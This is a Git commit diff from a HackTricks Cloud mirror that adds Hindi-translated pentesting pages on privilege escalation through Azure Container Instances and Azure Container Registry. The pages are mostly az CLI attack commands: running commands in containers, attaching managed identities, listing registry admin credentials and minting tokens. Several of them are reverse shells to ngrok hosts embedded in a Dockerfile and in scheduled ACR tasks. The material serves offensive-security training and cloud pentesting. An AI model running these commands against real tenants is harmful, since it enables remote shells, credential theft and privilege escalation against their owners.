mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-17 07:11:47 -08:00
Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation
This commit is contained in:
@@ -0,0 +1,64 @@
|
||||
# Az - Azure Container Instances Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Container Instances
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-container-instances.md
|
||||
{{#endref}}
|
||||
|
||||
### `Microsoft.ContainerInstance/containerGroups/read`, `Microsoft.ContainerInstance/containerGroups/containers/exec/action`
|
||||
|
||||
ये अनुमतियाँ उपयोगकर्ता को **एक कमांड निष्पादित** करने की अनुमति देती हैं एक चल रहे कंटेनर में। यदि कंटेनर में कोई प्रबंधित पहचान जुड़ी हुई है, तो इसका उपयोग **अधिकार बढ़ाने** के लिए किया जा सकता है। बेशक, कंटेनर के अंदर संग्रहीत स्रोत कोड और किसी अन्य संवेदनशील जानकारी तक पहुंच प्राप्त करना भी संभव है।
|
||||
|
||||
`ls` निष्पादित करने और आउटपुट प्राप्त करने के लिए यह उतना ही सरल है:
|
||||
```bash
|
||||
az container exec --name <container-name> --resource-group <res-group> --exec-command 'ls'
|
||||
```
|
||||
यह भी संभव है कि **कंटेनर का आउटपुट पढ़ा जाए**:
|
||||
```bash
|
||||
az container attach --name <container-name> --resource-group <res-group>
|
||||
```
|
||||
या लॉग प्राप्त करें:
|
||||
```bash
|
||||
az container logs --name <container-name> --resource-group <res-group>
|
||||
```
|
||||
### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
ये अनुमतियाँ **एक उपयोगकर्ता प्रबंधित पहचान** को एक कंटेनर समूह से जोड़ने की अनुमति देती हैं। यह कंटेनर में विशेषाधिकार बढ़ाने के लिए बहुत उपयोगी है।
|
||||
|
||||
एक उपयोगकर्ता प्रबंधित पहचान को एक कंटेनर समूह से जोड़ने के लिए:
|
||||
```bash
|
||||
az rest \
|
||||
--method PATCH \
|
||||
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
|
||||
--body '{
|
||||
"identity": {
|
||||
"type": "UserAssigned",
|
||||
"userAssignedIdentities": {
|
||||
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
|
||||
}
|
||||
}
|
||||
}' \
|
||||
--headers "Content-Type=application/json"
|
||||
```
|
||||
### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
ये अनुमति **एक कंटेनर समूह बनाने या अपडेट करने** की अनुमति देती हैं जिसमें **एक उपयोगकर्ता प्रबंधित पहचान** संलग्न होती है। यह कंटेनर में विशेषाधिकार बढ़ाने के लिए बहुत उपयोगी है।
|
||||
```bash
|
||||
az container create \
|
||||
--resource-group <res-group>> \
|
||||
--name nginx2 \
|
||||
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
|
||||
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
|
||||
--restart-policy OnFailure \
|
||||
--os-type Linux \
|
||||
--cpu 1 \
|
||||
--memory 1.0
|
||||
```
|
||||
इसके अलावा, एक मौजूदा कंटेनर समूह को अपडेट करना भी संभव है, उदाहरण के लिए **`--command-line` तर्क** के साथ एक रिवर्स शेल जोड़ना।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,115 @@
|
||||
# Az - Azure Container Registry Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Container Registry
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-container-registry.md
|
||||
{{#endref}}
|
||||
|
||||
### `Microsoft.ContainerRegistry/registries/listCredentials/action`
|
||||
|
||||
यह अनुमति उपयोगकर्ता को ACR के प्रशासनिक क्रेडेंशियल्स को सूचीबद्ध करने की अनुमति देती है। यह **पंजीकरण पर पूर्ण पहुंच प्राप्त करने** के लिए उपयोगी है।
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>/listCredentials?api-version=2023-11-01-preview"
|
||||
```
|
||||
यदि व्यवस्थापक क्रेडेंशियल सक्षम नहीं हैं, तो आपको उन्हें सक्षम करने के लिए अनुमति `Microsoft.ContainerRegistry/registries/write` की भी आवश्यकता होगी:
|
||||
```bash
|
||||
az rest --method PATCH --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}'
|
||||
```
|
||||
### `Microsoft.ContainerRegistry/registries/tokens/write`, `Microsoft.ContainerRegistry/registries/generateCredentials/action`
|
||||
|
||||
ये अनुमतियाँ उपयोगकर्ता को **एक नया टोकन बनाने** की अनुमति देती हैं जिसमें रजिस्ट्र्री तक पहुँचने के लिए पासवर्ड होते हैं।
|
||||
|
||||
`az cli` का उपयोग करके इसे उत्पन्न करने के लिए, जैसा कि निम्नलिखित उदाहरण में है, आपको निम्नलिखित अनुमतियों की भी आवश्यकता होगी: `Microsoft.ContainerRegistry/registries/read`, `Microsoft.ContainerRegistry/registries/scopeMaps/read`, `Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read`, `Microsoft.ContainerRegistry/registries/tokens/read`
|
||||
```bash
|
||||
az acr token create \
|
||||
--registry <registry-name> \
|
||||
--name <token-name> \
|
||||
--scope-map _repositories_admin
|
||||
```
|
||||
### `Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action`, `Microsoft.ContainerRegistry/registries/scheduleRun/action`, `Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action`
|
||||
|
||||
ये अनुमतियाँ उपयोगकर्ता को **रजिस्ट्री में एक इमेज बनाने और चलाने** की अनुमति देती हैं। इसका उपयोग **कोड निष्पादित करने** के लिए किया जा सकता है।
|
||||
|
||||
>[!WARNING]
|
||||
> हालाँकि, इमेज एक **सैंडबॉक्स वातावरण** में और **मेटाडेटा सेवा** तक पहुँच के बिना निष्पादित होगी। इसका मतलब है कि कंटेनर के पास **इंस्टेंस मेटाडेटा** तक पहुँच नहीं होगी, इसलिए यह वास्तव में विशेषाधिकार बढ़ाने के लिए उपयोगी नहीं है।
|
||||
```bash
|
||||
# Build
|
||||
echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile
|
||||
az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null
|
||||
```
|
||||
### `Microsoft.ContainerRegistry/registries/tasks/write`
|
||||
|
||||
यह मुख्य अनुमति है जो रजिस्ट्री में एक कार्य बनाने और अपडेट करने की अनुमति देती है। इसका उपयोग **एक कंटेनर के अंदर एक कोड को निष्पादित करने के लिए किया जा सकता है जिसमें एक प्रबंधित पहचान संलग्न है**।
|
||||
|
||||
यह एक उदाहरण है कि कैसे **सिस्टम प्रबंधित** पहचान के साथ एक कंटेनर में एक रिवर्स शेल निष्पादित किया जाए:
|
||||
```bash
|
||||
az acr task create \
|
||||
--registry <registry-name> \
|
||||
--name reverse-shell-task \
|
||||
--image rev/shell:v1 \
|
||||
--file ./Dockerfile \
|
||||
--context https://github.com/carlospolop/Docker-rev.git \
|
||||
--assign-identity \
|
||||
--commit-trigger-enabled false \
|
||||
--schedule "*/1 * * * *"
|
||||
```
|
||||
एक और तरीका है कि आप एक कार्य से RCE प्राप्त करें बिना किसी बाहरी रिपॉजिटरी का उपयोग किए, `az acr task create` कमांड का उपयोग करना है `--cmd` ध्वज के साथ। यह आपको कंटेनर में एक कमांड चलाने की अनुमति देगा। उदाहरण के लिए, आप निम्नलिखित कमांड के साथ एक रिवर्स शेल चला सकते हैं:
|
||||
```bash
|
||||
az acr task create \
|
||||
--registry <registry-name> \
|
||||
--name reverse-shell-task-cmd \
|
||||
--image rev/shell2:v1 \
|
||||
--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \
|
||||
--schedule "*/1 * * * *" \
|
||||
--context /dev/null \
|
||||
--commit-trigger-enabled false \
|
||||
--assign-identity
|
||||
```
|
||||
> [!TIP]
|
||||
> ध्यान दें कि सिस्टम प्रबंधित पहचान को असाइन करने के लिए आपको किसी विशेष अनुमति की आवश्यकता नहीं है, हालांकि इसे पहले रजिस्ट्री में सक्षम किया जाना चाहिए और इसके लिए कुछ अनुमतियाँ असाइन की जानी चाहिए ताकि यह उपयोगी हो सके।
|
||||
|
||||
एक **उपयोगकर्ता प्रबंधित पहचान को भी** असाइन करने के लिए आपको अनुमति `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` की आवश्यकता होगी:
|
||||
```bash
|
||||
az acr task create \
|
||||
--registry <registry-name> \
|
||||
--name reverse-shell-task \
|
||||
--image rev/shell:v1 \
|
||||
--file ./Dockerfile \
|
||||
--context https://github.com/carlospolop/Docker-rev.git \
|
||||
--assign-identity \[system\] "/subscriptions/<subscription-id>>/resourcegroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>" \
|
||||
--commit-trigger-enabled false \
|
||||
--schedule "*/1 * * * *"
|
||||
```
|
||||
एक मौजूदा कार्य के रेपो को **अपडेट** करने के लिए आप कर सकते हैं:
|
||||
```bash
|
||||
az acr task update \
|
||||
--registry <registry-name> \
|
||||
--name reverse-shell-task \
|
||||
--context https://github.com/your-user/your-repo.git
|
||||
```
|
||||
### `Microsoft.ContainerRegistry/registries/importImage/action`
|
||||
|
||||
इस अनुमति के साथ, आप **azure registry में एक छवि आयात कर सकते हैं**, भले ही आपके पास छवि स्थानीय रूप से न हो। हालाँकि, ध्यान दें कि आप **एक टैग के साथ छवि आयात नहीं कर सकते** जो पहले से ही रजिस्ट्री में मौजूद है।
|
||||
```bash
|
||||
# Push with az cli
|
||||
az acr import \
|
||||
--name <registry-name> \
|
||||
--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import
|
||||
```
|
||||
विशिष्ट इमेज टैग को रजिस्ट्री से **अनटैग या हटाने** के लिए आप निम्नलिखित कमांड का उपयोग कर सकते हैं। हालाँकि, ध्यान दें कि आपको इसे करने के लिए **पर्याप्त अनुमतियों** वाला उपयोगकर्ता या टोकन चाहिए:
|
||||
```bash
|
||||
az acr repository untag \
|
||||
--name <registry-name> \
|
||||
--image <image-name>:<tag>
|
||||
|
||||
az acr repository delete \
|
||||
--name <registry-name> \
|
||||
--image <image-name>:<tag>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user